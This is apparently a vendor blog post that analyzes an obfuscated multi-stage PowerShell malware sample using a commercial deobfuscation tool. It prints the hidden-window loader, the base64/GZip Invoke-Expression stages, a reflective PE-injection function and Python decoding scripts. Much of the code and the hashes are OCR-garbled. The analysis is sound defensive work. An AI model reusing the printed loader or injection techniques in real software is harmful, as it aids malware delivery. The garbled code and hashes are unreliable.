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In this post we’re going to analyze a multi-stage PowerShell malware, which gives us an opportunity to use our

commercial PowerShell Beautifier package and its capability to replace variables.
Sample SHA2-256: 2840D561ED4F949D7D1DADD626E594B9430DEEB399DB5FF53FCOBB1AD30552A A

Interestingly, the malicious script is detected by only 6 out of 58 engines on VirusTotal.

6 (D 6 security vendors and no sar flagged this file as malicious Rici’ C" zjg
158
— 2840d561ed4f949d7d 1 daddB26e594b3430deeb339db5i53fc0bb1ad305
tooe © adessse e compta 112 MB 2023-03-27 10:19:04 UTC (c)
Size a moment ago C
mw_ps1_ins_rem txt
c
Community Score
DETECTION DETAILS COMMUNITY
Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an AP| key to automate checks.
Popular threat label (1) powershell Family labels powershell
Security vendors' analysis (D Do you want to automate checks?
Cyren (D PHPrAgent.NE Drweb (D) PowershellInject.102
ESET-NOD32 (D) PowershelrAgent.ASV Google (D) Detected
McAfee-GW-Edition (D) BehavesLike.PS.Dropper.n Microsoft (D) Trojan:PowerShell/Obfuse. RVAIMTE
Acronis (Static ML) (¥) Undetected AhnLab-V3 (¥) Undetected

‘We open the script in Cerbero Suite, decode its content and set the language to PowerShell.
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5

5 [mw_ps1_ins_rem.txt] - Cerbero Suite Advanced 6.2 - Cerbero Suite -0

H-EBEE &%% WE DL AP & &9 awlw BN EE #| & 0%3 [sHa2256 -] [2840D56: AR~
 Decoded bytes =

# Some body fix this ~

1

2

3 somiltaz = "Sh";
4 somiltaz +=

5 somiltaz += "
6
7
8

$litoPicomra = "Get"
$litoPicomra += "Current"
9 slitoPicomra += "Process"

11 $ifkule = '[DllImport ("user32.d11")]"

12 $ifkule += ' public static extern '

13 $ifkule += 'bool ShowWi'

14 sifkule += 'ndow(int handle, int state);'

15 $tName = 'Add-T'

16 $tName += 'ype -name Win -member $i'

17 $tName += 'fkule -nam'

18 $tName += 'espace Native'

19 stName | iex

20 $cPr = [System.Diagnostics.Process]::$litoPicomra;
21 SwndHndl = (§$cPr.Invoke() | Get-Process).MainWindowHandle
22 # Exceptions

23 [Native.win]::$omiltaZ.Invoke ($wndHndl, 0)

25 $acduklom = @()
26 SdtPrEr = "

28 Scasda = "in"
29 scasda += "se"
30 $casda += "rt"
31 sdbfbda = "re"
32 sdbfbda += "move"

34 Selem0 ="U4SIAAAAAAAFAOlde3PaypL/26nKdlASriLsMVEMHR/HWEdgedpKMDgIVEVFChhASZCIJO0Zges93331KMyMBeuBs7t6kKomszn7d09Pd09MzGo3nlsAzbELRIWETCRRaldcfle/v3/ 3] /DUH6NROAGOIWE PDGUEYS +/ £Xe
35 $elem0=$elem0.$dbfbda. Invoke (0, 1)

36 Selem0=Selem0.S$casda.Invoke (0, "H")

37 $acdukLom += $elemd

38 Seleml ="U4SIAAARRAAFAO29+ZPiyJIw+EMbs/kfsJSeelWbXQVkkiTzZa2P2RegAkVWSiKULTRCEIFLZKIKCe £/ TuntESOLIqUD]356303RKFSg1iPDWE/A4P2PZ6Y30282frwbI13aBXznis+vcUG40+1U4VhIpOELix/Soft+afGl
39 $eleml=$eleml.$dbfbda. Invoke (0, 1)

40 $Seleml=Seleml.S$casda.Invoke (0, "H") v

< >

Enter Bython code here

We can observe that the code is obfuscated.

# Some body fix this

$OmiltaZ = "Sh";
$0miltaZ += "owWin";
$Omiltaz += "dow";

$litoPicomra = "Get"
$litoPicomra += "Current"
$litoPicomra += "Process"

$ifkule = '[D11Import("user32.d11")]"
$ifkule += ' public static extern '

$ifkule += 'bool ShowlWi'

$ifkule += 'ndow(int handle, int state);'

$tName = 'Add-T'

$tName += 'ype -name Win -member $i’

$tName += 'fkule -nam'

$tName += 'espace Native'

$tName | iex

$cPr = [System.Diagnostics.Process]::$litoPicomra;
$wndHndl = ($cPr.Invoke() | Get-Process).MainWindowHandle
# Exceptions

[Native.Win]::$0miltaZ.Invoke($wndHndl, @)
#

# [operations omitted for brevity]
#
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$elemd1=$elemd1.$dbfbda.Invoke(0,1)
$elemd1=$elemd1.$casda.Invoke(@,"H")
$acdukLom += $elemdi

$tp= [System.I0.Compression.CompressionMode]::Decompress

$ss = "System."
$ss += "I0.Me"
$ss += "morySt"
$ss += "ream"

$ftcl = "read"
$ftcl += "toend"

foreach ($element in $acdukLom) {
$data = [System.Convert]::FromBase64String($element)
$ms = New-Object $ss
$ms.Write($data, 0, $data.lLength)
$ms.Seek(0,0) | Out-Null
$somObj = New-Object System.IO.Compression.GZipStream($ms, $tp)
$drD = New-Object System.I0.StreamReader ($somObj)
$vVar = $drD.$ftcl.Invoke()
$dtPrEr += $vVar

$scriptPath = $MyInvocation.MyCommand.Path
$dtPrEr | iex

We launch the PowerShell Beautifier with all options enabled.
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Property Value
Code

Content # Some body fix this
Style

Indent spaces

] Keep comments

Deobfuscation
Deobfuscate
Replace variables
Remove unused variables

Auto-name variables

i =00 Iy : : : : Ay
H-ER LB ELEO0IdAP& &9 aw ﬁ;ﬁ\‘;zz#;‘..‘ml.m‘\-ﬂlﬁ'1840!)56uu-- El F53F 5208 |
Y
'Add-Type -name Win -member Sifkule -namespace Native' | Invoke-Expression ~
$get_current process = [System.Diagnostics.Process] etCurrentProcess;
$var_15 = ($get_current process.Invoke() | Get-Process).MainWindowHandle

1

2

3

4 [Native.Win]::ShowWindow($var_15, 0)
5 Svar_16 = G()
6
2
8
9
0

$var 26 = $var_16 + "HASIARRRARAEAOlde3PaypL/26nKd1ASrjLsMVEMHR/HWE6AdqedpKMDGIvEVEChhASZCIJOZge 8 93331KMyMBeuBs7t6kKgmSzn7d09Pd0IMzGo3ml sAzbEtRrWETCRRaldcfle /v3/3]/bull 6nROAGIIWET

$var_30 = $var_26 + "HASIAARAARAEAO29+ZPiyJIw+EMbs/kfsJ5eelWbXQUkkiTZa2P2RegAkVuSiKut rReEiIFLZXIKcef/ TuntESOLIqup] 356303RXFSgiPDWE /A4P2P26Y30282frubI13a08X2zni S+veUG40+10U4VbepOf£]

Svar_34 = Svar_30 + "H4sIAAARARARAM29W7OQyPMo+DARBx10nJiHMTBiRJey9ESCch+ImOAGFOULEPHGFRMW1VKB++ smsApile/ f+9£7HxOMOTiVQVGY1 Sh2yEpLKrhGpIhGeY51151ipD2XaTy 7 IPvMTx1X1DFemtvISgTENKLS

$var_38 = $var_34 + "H4sL KX9WXugyt LwD/ ICnBAVIMOLAQUBRES6KIGANS420v/ 6rqga] SAY++7 zfWevI4WRNA3XNU/ sT6+JJ) rNgTPUNLtMX t Z221W+9FPOXHDNV3dT01StNVTa0T+0x0xphipfJOEa7a0¢ 7ThGnGX VY
10 $var 42 = Svar 38 + "HASTAAAAARAEAKYOWY/iyvcg+D7SfIdWaxSmhDQ2a0JL/RDewE4MDoONZWgeks02kDgriQx8+] TnRIIEIKvury/ /71Up8R5xduxb1E323W] uNZcpi 0EWze IRVEFGIMEUIDQTa fuMhx0t213 zqPpiXN3v/ 5,
11 $var_46 = Svar_42 + "H4SIAAARRAREALYOW2/yStMgej/S/g+3T/tiRkgbkxBiRpqL9gnb20C2MdiM5iLhy IxJSALBWK+fqmp3Q5TDet+ROsxaehRsV3VXY9ex3V3nndEL67LEGT zE23UHIqDLGDOYXQYa/Lulyqo2brer+L3UNLE
12 $var_50 = Svar_46 + "H4SIRAARARAAFALSI2bLQOrMueF8RIQ4NTLREVRBRNMDANThzIVK22LiTGBBUIMWGMEYWPCadgaevIMIMEG651167atf8Y/OMATKUYUbLVCPt5109I6R1e rVNCAST KX 3XN5015T3KIIS2R+XMrOH6CK/ bEXH
13 $var 54 = Svar 50 + "H4SIAAARAAREALXOWZuiSNP2D/IA3PUw2RRKSXYVz8ONEC2qSOVUX/OFRKJI1AVEIZzDwz72dz9WUpkOQSGKFHZCKEbgCqT4TmXEP13A3UgME U] VSZF1CFdzbSYOLJEVMC62C9e i SmENFGH+W5SV0yeSznNpe
14 Svar 58 = Svar 54 + "H4SIAAAARAAEANSOWY/q2hIm+E5S/4dSqR+ghNSYyUBJObASgRO2XgYDplUPCUSSY0InTg¥Dv7 43V 2T5LDPvbdfin20tpLB2Gu T FEHFNGAOsNbs 322n3My82co0oWHBkzBwO0 1 J0GPXnX DX TGTL EDEM+ tR|
15 $var_62 = Svar_58 + "H4SIARARARARANSOWY/iytYo+N5S/4erg37oFlLbzHC1+xCewAYPYWOWafVDIghbGJIIsIDHkr79rrTBTV1bt2uec/bVeny+/wnPEijVEYVssiwLT09] 6euirPIVOki TJURWDpVgnnFVXPryngs8Dc2Jaumkn
16 $var_66 = Svar_62 + "H4STAARARAAEANWIWY/QSrcg+N5S/YdSqR+6hdQ2QzKUVA/hCHZWEGADDLQPCSTGGILCQGLY1 9dak2zm3Dvh3ufce+73aetk4ClixzqnMD391 fhsE/ v/ 2y 4DS1HENu1tQ33R6qpBLe0152LI TikSAuTIVLe|
17 $var 70 = $var 66 + "HASIARARRRAEAKxOV3EqyrLuD+JBIpjw2EogqzBalIx4MOKJLE+DEEDrb1v1i2BTzbX0OKEvscY0oNChenlVIScszxMTlya2a)kRd5izomy71Nmc] 75yBvezijelMdij 2wl 3bMddxr52EEd6+/ /ZImeBN6S
18 $var_74 = Svar_70 + "H4SIAAARAAREAKYOWSOQ3LIo+NAR5z+cOHEEusOIBpVSPBENgbsgKBARSaMfyhsCKiW90£T625wB1i1U1vTX2Tv2tmMs SgRw] 75k 811 UwwKyWu0Ci1RCBkykODLHGE IWYqkSPBEY05454 1dT £ MyUxI9X /K
19 $var_78 = Svar_74 + "H4SIARARRAAEANSOWY+zSrcmeN9S/YdSgS66ZanBMy6pLhhtsBkCGwxu9dUVEwhhnkukJ27++110BHILz3Xt/3zk1VX/ TvEeInYKINTXrDPOOT £XN1tXTEDt5ZOFL Y68 rCzkylVduU4X/ 61u/ 0Sbe ITHNSIUE,
20 $var_62 = Svar_78 + "H4SIAAARAAAEALY9WSOQSVMNIDBRSX0mMJubinSBiwBECRMWERWHLUAGKTIWKrSgilngpleannswgsLin711578//D88SK3WPRVGV1ZE4yKzPLLSIHLN TLgThHE tuoRiFNUaSMrbPOWYUDiFrr4iDwzidépc
21 $var 86 = Svar 82 + "H4sIA 0W922ZbiuNI2 fEEC2MxwEHKAYS tggz 1LMIh i S1AXCPVEhGTGPDRzqqv33u// 91q1GkhbQ8 x PKCQIchFxKRe 6RyP18qxjp4viiIeX6BusP3g1LUILeQCLrhiNwhVy 2+sa+Zeqi kQuandnXhL
22 $var_080 = Svar_86 + "H4SIAAARARAEAOWOWY/qyvIv+NSSf4erg37oFlLbzPaV7oNHSME]GGxa/VBgEMRUTAY+/Y3ItAlF1VpVe++1z1+tPLI6merCzswY fXEZGCMENXY] 1k pgaSqk¥cohoF9knw/ 2181 9WUMUWSYTX121rdsor
23 $var_94 = Svar_90 + "H4SIARARRAAEANSOWY/QytYg+F55/4dSqR+qZK] tgxNMSIUQNSAGY 4exwaZVDWwkGT 2TCBhIDVT TWijBT 7] zDd+7V1+03 7ZMKCY 6 INCBRT +XDYHTN6VoqRqsqtwt V3 PbmhBB753T0/COWNSK]a+NC1d0ymsy,
24 $var 98 = Svar 94 + "HASIAAARAAREAJSO2Y/qyvMn+D7S/A+tV]/MCG1swIBDQREyVWADD+KFMKNSKDBbNCIKYbGEY34iMklVnKPu9/7U96p0wNipdGosnlgybDE+e JZnIKA22W8rzy d] caU2L7K] gHHhMOVG6V+1yhdXUTvVIE

25 Svar 102 = Svar 98 + "H4SIAARARRAEALYOVSeq3BI2+008ABPiS5SQISA4q3rUJAWL 6tQH115+qmmh3r/B++4RxOhTVRKOSEq] WVIYGIq4UgfGUC24¥hVwdxYnB/ xRFkD3dH1dBgfcF/NSNLLRbV1 8/ 0euDZoVEhdbS TREKEORG]
26 $var 106 = Svar_102 + "H4sIAAARAAAEALYSWY/qQNMmeD/S/IdWaySmhDQ2YIxpqs+B8go239AKY0VwUmzcol2Ez80s7ItMGs7yENMZRZOqWEtGZNTEE 6u50LwuQSM3 fnGnLuu 5Jce SHYeKn EN1 IsrOkuM6IDTES tQrbll/yIveL,
27 $var_110 = $var_106 + "H4sIARRARARRATY92Y+ryvMn+D55/w+t1]jzMCGNAGEYLIUOYgokS]G3cmocaYwPGLup4w/ % £ 3XGZ2FV1Zzrn3+7 tHdavYMpPIy ThPLBkQQoh+Nd152n5VAMKvdB Wrgsni feAn 9Y5xripaqlo6PATDHXF
28 $var 114 = Svar_110 + "H4sTARARAAAEAOYSW6/qSvIn+D5SE4dHgxOmhDY2¥IxpaR+cvmAb39LEgBNNwLoYbGNYZnMz80knItOw2Pysc+pUd f1EM60+VVsLIEInRsb 1 FSERgUL uyix42Lpglo69k2+0qqrGItWKT £ PKMYhdSmkVe
29 $var_118 = Svar_114 + "H4SIARAARAREALTOWSeqyud/Dr8gLKBFxEUOASqhEFS8a08IaGt7Qn31/ySF3fbcaé69v7/xPGUNOROEQIKPVPIJqioVaZoWnldmbzm/ 6hr8p9vbTd8yplQeuyldawpPF872L e/ x4VOgBaMEdTpYadDPt
30 $var 122 = Svar_118 + "H4SIRAARRAAFALSOWY/qShMg+D7S/IdWax5mzGlswBjTU] 9kegEb78aAGC1DSXKIYNXYDPz61ci0q6hz zviut 9Rzv690WKRz1YWIIYKTKsT zuSE£3q/ SdjXsubaVqaHCONAH/ r80mMohY £ 9NmOnIUF 1pk
31 $var_126 $var_ 122 + "H4SIARARRAREAJSOW]OQyvIV+N4R/R1OnNDgP3UFEg40IJ+I8VHEREJCLONJRDONRD]0¥0wuon74zg3TMMddae/ / 3mINGQEYKQQyszF9eKiHRYWUSQ] CFghBiNUHtR] XxDDj v4RARCIUgznd1NSTgnU29se
32 $var 130 = Svar 126 + "H4sIARAARAREARWOWA+yTBc2eD7J/I£J1zmYSSeDulboku8ABVLUBARUNMYBO1BASLUbLFS/QK3CqgL7 952bJ0/ uXC21XTV2tWqVIT6T0e PO1¥ITYyyIgiCefzD+FnoZ/ sbYE 6QMhx] / CIMM+0+clz 9g1
33 $var 134 = $var_130 + "H4STAAARAAAEALVOW]/DTVL3C3IRhTC4zZP1ASBDEHUFIEItF8OQEPNCSIN/e+z+P+czsVb6pTurqéuqéo4SzcxzvajuertEAn/zitqalzpk3faty+3EE/xSG1nu3B0CNEONI zydd4n9G1 rXTwYCGSbXnk

+

+

+

+

+

+

+

34 $var_138 = Svar_134 + "H4SIAAARRAAFAOLSWG/yOhPefaX+h6IQRSUKEiCCKVECOQAISIAROSOFBFaACD4 F+PWIndhjFaz17r0/ 9aQ2W2vndZ PHMK6PK6eX835100w+4 60£LtLSe P TDUWS 9MY fhTv8SLhBCLEULz2 PELOETHB 7TT
35 $var 142 = $var_138 + "H4STAARAAAARAKSOW]OyOtQueNSV/R927eqL7qKgAWOKu2pEcDAcGPBzYV1B0KgoiKgrIr+8QFOZTWOVT vt 2uSTudPTxkZGRkZCRhPVIBegk817I8 fknSBNbOR B/EWWPO] 2gL.3QBUJTZ 2ZWVCSSCKTZ
36 Svar 146 "H4STARARAAAEAOWOWY/ q2hMvShdp3+HqKg+JWkrbBrrhSvEBMwES S PECSQHBYAYbaCYDnzSVyyMNUB/ e 55y/bm6Ct DeNxZpal fCrWoPVtd/ F7a4hG/ vwaedyITvYtD1Ft P9 0HQPSTuo/dx0GUnVEBuL
37 $var_150 "H4 s TARARAAAEAKVAWO P PBE+QV4 sanXxMkmPQAV1aLkTcMtBF30RK/ z 6L5NA2qY 28CWVFx4 I 6TydzEwmMSMOMLNGZ ¢85 3LBSWR] 2¥/arqvoTNK35K3N] Fuds zoKU zXP+wsIMEb5nYCzuGh 91wybNCy194
38 $var_154 = Svar_150 45IAARRARAFAL19W2/ ] OJDU+WLNPYWWS2E: 4F9IC1ZNBu2nDid kt1pddgd1t0/ f1nFACKSRVIJHIWCYKQWLE+LIAULFZP2SnH54SIMA/ kfb/ 8 6BKXDA] SGENbIRMKOEVFkd9Igx}
39 Svar 158 = Svar 154 "HASIAAAAAAAEAMWQWZ/yzNIoeD/S/IetrhmY’UaTEECaBLeZLPhqfwAZZCIHRXCSQmFNCEpIY+PW7ququwNZZSCZA6X161Hl7q6urq5zt4Uqu/2HFF+Vn7Qquh/67qk+K/andCtPerOallIQSkZYs.
40 $var 162 = Svar_158 + "H4STARARAAAEAK192286PdPYfaX+DIWnXrRCKgSWSETqhQ9T7YtmFSZAEGl4khB] YICOhyQJ/ fT3enXEg4XnfSqXq9 2T SDbbHM+ PXHEOhWD 2 3WB0+B/ kiM55dsa]j8ey Mk ZXOBRVCP Filv

Svar_142
Svar_146

< >

However, there is one glitch in the final loop:

$decompress = [System.I0.Compression.CompressionMode]: :Decompress

foreach ($item in $var_190)

{
$from_baseb4_string_result = [System.Convert]::FromBase64String($item)
$memory_stream = New-Object "System.IO0.MemoryStream"
$memory_stream.Write-Output($from_base64_string_result, @, $from_base64_string_result.Length)
$memory_stream.Seek(@, @) | Out-Null
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$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, $decompress)
$stream_reader = New-Object System.IO.StreamReader($gzip_stream)
$readtoend_result = $stream_reader.readtoend()
$var_197 = "" + $readtoend_result # <- here
}
$my_command._path = $MyInvocation.MyCommand.Path
$var_197 | Invoke-Expression

The replacement of variables ended up handling one line incorrectly. Looking back at the original code:

$var_197 += $readtoend result

Therefore, we can adjust the code as follows:

var_197 = ""
$decompress = [System.I0.Compression.CompressionMode]: :Decompress
foreach ($item in $var_190)

{
$from_baseb4_string_result = [System.Convert]::FromBase64String($item)
$memory_stream = New-Object "System.I0.MemoryStream"
$memory_stream.Write-Output($from_base64_string_result, @, $from_base64_string_result.Length)
$memory_stream.Seek(@, @) | Out-Null
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, $decompress)
$stream_reader = New-Object System.IO.StreamReader($gzip_stream)
$readtoend_result = $stream_reader.readtoend()
$var_197 += $readtoend_result

}

$my_command._path = $MyInvocation.MyCommand.Path
$var_197 | Invoke-Expression

The code creates an array of strings:

'Add-Type -name Win -member $ifkule -namespace Native' | Invoke-Expression
$get_current_process = [System.Diagnostics.Process]::GetCurrentProcess;
$var_15 = ($get_current_process.Invoke() | Get-Process).MainWindowHandle
[Native.Win]::ShowWindow($var_15, @)

$var_16 = @()

$var_26 = $var_16 + "H4SIAAAAAAA..."

It then decodes each string in the array using base64, decompresses the decoded bytes with GZip and then

concatenates the end result into one string which is then passed to “Invoke-Expression”.

The following is a small Python script to perform the decoding operations.
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from Pro.GZ import *
import baseb4

def deobfuscate(fname):
with open(fname, "rb") as f:
data = f.read()
bytearray()

out
i=20
while True:

i = data.find(b'"H4"', 1)

if i ==-1:
break
e = data.find(b'"", i+3)
s = baseb4.bb4decode(data[i+1:e])

i=e+1

¢ = NTContainer()

c.setData(s)

obj = GZObject()

obj.Load(c)

obj.GetCompressedRange()

¢ = c.clone()

c.setRange(r.offset, r.size)

c = applyFilters(c, "<flts><f name='unpack/zlib' raw="true'/></flts>", False)

r

out += c.read(@, c.size())
with open(fname + "_output", "wb") as f:

f.write(out)

4 [mw_ps1_ins_rem.txt] - Cerbero Suite Advanced 6.2 - Cerbero Suite - O
KH-EHE @b WE DD dabh& ¢ aow w BN EE #| £| 0%2 [siaz/se -] [2840056 Al
=) Decoded bytes %] @ [mw_ps1_ins_rem_deobf] - Python [x]
w757 | mw_ps1_ins_rem_deobf <]

1 from Pro.GZ import ¥ A
2 import base&4

3

4 def deobfuscate (fname):

s with open(fname, "rb") as f£:

6 data = f.read()

7 out = bytearray ()

8 i=0

9 while True:

10 i = data.find(b'"H4', 1)

11 if i == -1:

12 break

13 e = data.find(b'"', i+3)

14 s = base64.b64decode (data[i+l:ze])

15 i=e+1

16 ¢ = NTContainer()

17 c.setData (s)

18 obj = GzZobject()

19 obj.Load(c)

20 r = obj.GetCompressedRange ()

21 ¢ = c.clone()

22 c.setRange (r.offset, r.size)

23 ¢ = applyFilters(c, "<flts><f name='unpack/zlib' raw='true'/></flts>", False)

24 out += c.read(0, c.size())

25 with open(fname + " output", "wb") as f:

26 f.write (out)|

27 v
- Output & x
Enter Python code here
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The script takes as input the file name on disk of the beautified PowerShell script and writes out the result of the

decoding, which is another PowerShell script.

Even though the code is obfuscated, it is clear that it injects a PE into memory. After having already observed that

and extracted the PE, we figured out that probably the PowerShell injection code was lifted from the web. In fact,

by searching for an error string we could find a blog post by Joe Bialek, which links to his GitHub repository.

For instance, this is a function in the malware:

Function Copy-awgwBB

{

Param(

[Parameter(Position = @, Mandatory = $true)]
[Byte[]]

$LdDataHpo,

[Parameter(Position = 1, Mandatory = $true)]

[System.Object]

$ZpZeTj,

[Parameter(Position = 2, Mandatory = $true)]
[System.Object]

$Win32Functions,

[Parameter(Position = 3, Mandatory = $true)]

[System.Object]

$Win32Types
)
for( $i = 0; $i -1t $ZpZeTj.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)

{

[IntPtr]$SectionHeaderPtr = [IntPtr](Add-HyLchV ([Int64]$ZpZeTj.SectionHeade
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($S

[IntPtr]$SectionDestAddr = [IntPtr](Add-HyLchV ([Int64]$ZpZeTj.PEHandle) ([Ii
$SizeOfRawData = $SectionHeader.SizeOfRawData
if ($SectionHeader.PointerToRawData -eq 0)

{
$SizeOfRawData = @

if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{

$SizeOfRawData = $SectionHeader.VirtualSize
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if ($SizeOfRawData -gt 0)

{
Test-JiHDgn -DebugString "Copy-awgwBB: :MarshalCopy" -ZpZeTj $ZpZeTj
[System.Runtime.InteropServices.Marshal]::Copy($LdDataHpo, [Int32]$S

if ($SectionHeader.SizeOfRawData -1t $SectionHeader.VirtualSize)

{
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
[IntPtr]$StartAddress = [IntPtr](Add-HyLchV ([Int64]$SectionDestAddr
Test-JiHDgn -DebugString "Copy-awgwBB::Memset" -ZpZeTj $ZpZeTj -Star
$Win32Functions.memset.Invoke($StartAddress, @, [IntPtr]$Difference)
}

And this is the same function in Joe Bialek’s code:

Function Copy-Sections

{

Param(

[Parameter(Position

[Byte[]]
$PEBytes,

0, Mandatory = $true)]

1
—_

[Parameter(Position
[System.Object]
$PEInfo,

, Mandatory = $true)]

1
N

[Parameter(Position
[System.Object]
$Win32Functions,

, Mandatory = $true)]

I
W

[Parameter(Position , Mandatory = $true)]
[System.Object]
$Win32Types

)

for( $i = 0; $i -1t $PEInfo.IMAGE _NT_HEADERS.FileHeader.NumberOfSections; $i++)

{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo

$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($S

#Address to copy the section to
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.
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#SizeOfRawData is the size of the data on disk, VirtualSize is the minimum s
# in memory for the section. If VirtualSize > SizeOfRawData, pad the extr:
# SizeOfRawData > VirtualSize, it is because the section stored on disk hi
# so truncate SizeOfRawData to VirtualSize
$SizeOfRawData = $SectionHeader.SizeOfRawData

if ($SectionHeader.PointerToRawData -eq 0)

{
$SizeOfRawData = @

if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{

$SizeOfRawData = $SectionHeader.VirtualSize

if ($SizeOfRawData -gt 0)

{
Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEI|
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$Sec

#If SizeOfRawData is less than VirtualSize, set memory to @ for the extra sp
if ($SectionHeader.SizeOfRawData -1t $SectionHeader.VirtualSize)

{
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$Se:
Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $
$Win32Functions.memset.Invoke($StartAddress, @, [IntPtr]$Difference)
}

Obfuscation aside, the functions are identical.

In the malicious script the PE is encoded using base64 strings:

[byte[]] $mbVar

$mbVar += [System.Convert]::FromBase64String("qlqQAAMAAAAEAAAA..")
$mbVar += [System.Convert]::FromBase64String("M/9IiXtYS...")
$mbVar += [System.Convert]::FromBase64String("GBBIi/JIi+1yBU2..");
¥ etc.

$mbVar1 = [System.Convert]::FromBase64String("@KjYq0CobKg...");
$mbVar += $mbVar1

$Wzrnmd = $mbVar
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$Wzrnmd[@] = 0x4d

So the scripts decodes many base64 strings, concatenates the result and then replaces the first character of the byte

array with 0x4D (which is the ‘M’ character in the “MZ” signature).

We copied the list of base64 operations to a separate file and wrote a small Python script to extract the final PE for

us.

VR EEE OO0 4k e aw w BN EE #| & 0% [siazoss -] (2840056

Decoded bytes © | &  [mwpstins rem deobf] -Python [ | Text view 1 0| & Python [x]
1037 1) —join '* ~
1038 if (§var 140 —ne 'MZ')

1039 {

1040 throw 'PE is mot a valid PE file.’

1041 }

1042 Tnvoke-Command -ScriptBlock Svar 3 -ArgumentListl($var 1, Svar_129)

1043 }

1044 PeZWFR

1045 }

1046 [DEHIBEES]

PUPYM: = 151 = Svar 150 + [ Convert]

5 GV v1yxsal
\FAABAAARAARLA (IAAAAAAAAAAP QRAARAARAFAAARA

AAAAAAAAAANAAAAAARANAFAAAMAAAAAAAAARAAAAAAARARAAA AAARAAAMA AAARA Sky]

XRhAARACKQWAABWAARANhYARFYAARMAARAAAARAAARAREAAAMAUCGRhAGEARN QEAAMA IBCARATARADOFQAAARAARARAAARAAABARABATNJZCIMARA] SyZWRVYWARWARALL
[BAFWAAAQARRPGWAAAARRAAAARAARRANRAARRIAAAAARAARAAAAARAARAARAARAARAARAARAARAARNARRARAAARAARARAAARARAAARAARARAAARAARARAAARAARARNARAAAAARRARAARAARRANAARAAARARAAARARAARAAARARAARAD)
AAAAAAAARARAAAARARARAAAAARRAAAAAAARARRAAAAARAAAAAAAARARAAAAAARARAAAAAAARAAAAAAAARAAARRARARAAAAARARAAAAAARARAAAARARAARAAAARARAAAAAARARAAAAAAAAARAAAAAAARAAARARARAAAAARAAAAAAAA
.P.AAP.AAAAP.P.APAAAAP.P.AAAAAAP.P.AAAAAP}.P.AAAAAP.P.P.AAAAAP.P.AAAAAAP.P.AAAAP.APAAAAAAAAAAAAAPAAAAAAE:LD" ChIiwVNBBCASIXAACLIiVWkIP/Q: DKAA+2 IEIFYXQG/|

<X8PwAADTHDSTtcICBIG 0iDxCjDzMxTiwUZBBCASTXAJANT/|
+ppsz

oBdR
1Lh SAAAAAiUQkIEyLT R4TILEJHCL!

<WpPgARil iJBZ ~LRCRISTPEWMEMZMZMZMZM ZMxMi UWK TEy: 11UJBBIiUwkCEiBTMgBAABIx4 QkmAARAAARAADHR

J4+xYADTbAhCAPhJEARACLBS/ TFGCThCS Tanan/

AAL4Wki ARAADYIAXOL i 1 i UEJPQBAABIiUQKK
) AAAROgKJWAAST2MILARAADO)
g ‘gS ItEJFAP c i 5 ) 10QkeRX/DWARJQDW/ /|
SGAAB1 DL LRCRQ1 0BUIUQkEOSMSTEEIFCLOFSIRCRA 109
QIUItAPIMEJTARAACLhCSAR DKYEiLRCRQ i ) JKQAAAARAARRA 4QKhARAA TMEJKAAAABIX0Qk! ) “BAAMAATIZ)]
RASMARJHAABARA 4QKhAARRE] 11 CQ £KWARBOLCeEJTwWARARBAARL /|
@kQAAAAPDH‘ lapgAAAEJLh QAAGAASI1EJIDBIX0QKK }AAEEI\U( IAAAAAEFMGIMTU@kCETHMV////
\/ JR

L ST1EJCBMi dwk6ARAREYLE

gAAAAiUQkIE yL‘\ STARARTIUEJTARRAC

V9Ii0g! OB = A o
Ql08h1D0LRCR 2422 )
Enter Python code here

import base64

def deobfuscate(fname):
with open(fname, "rb") as f:
data = f.read()

out = bytearray()
i=0
while True:
i = data.find(b'g("", 1)
if i == -1:
break

data.find(b'""', i+3)
out += base64.bb4decode(data[i+1:e])
i=e+1
out[0]
with open(fname + "_output", "wb") as f:

f.write(out)
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Now we can analyze the injected PE (SHA2-256:
7751A09B3C1146B5DB72BE1218287DA6FD4C65813A1EBIAESE0389DB879DAAEB).

4 [mw_ps_ins_rem_encoded_exe.txt_output] - Cerbero Suite Advanced 6.2 - Cerbero Suite - o
B-EEReh% i) d el 9 e e BN EDE H W % [sHA225 - |7751A09B3C1146B5SDB72BE1218287DA6FDAC65813A1EBOAESE0380DBS79DAAER -
L5 Roots & X - Output 8 x
# File Risk Format carbon: analysis finished in 0.1 seconds
1 Ci\uo.\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
“ Hierarchy 8 % O Analysis [mw_ps_ins_rem_encoded_exe.txt_output] & x
Name [0 Hex | 1ul Fie stats
4 @ mw_ps_ins_rem_encoded_exe.txt_output ~| offset 01 2 3 4 5 6 7 8 9 2 B CDGE F ~
4w Documents 00000000 4D SA 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 <-Format data
» Configuration file 2 [lang:1033] 00000010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00

00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030 00 00 00 00 00 00 00 00 00 00 00 00 EO 00 00 00
€ 4 00000040 OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CcD 21 54 68
00000050 69 73 20 70 72 &F 67 72 61 6D 20 63 61 6E 6E 6F is.program.canno

2 summary & x
lfse Online 00000060 | 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20  t.be.run.in.DOS.
00000070 | 6D 6F 64 &5 2E 0D 0D 02 24 00 00 00 00 00 00 00
%] Intelligence: MalwareBazaar 00000080 AB OE F9 7F EF 6F 97 2C EF 6F 97 2C EF 6F 97 2C
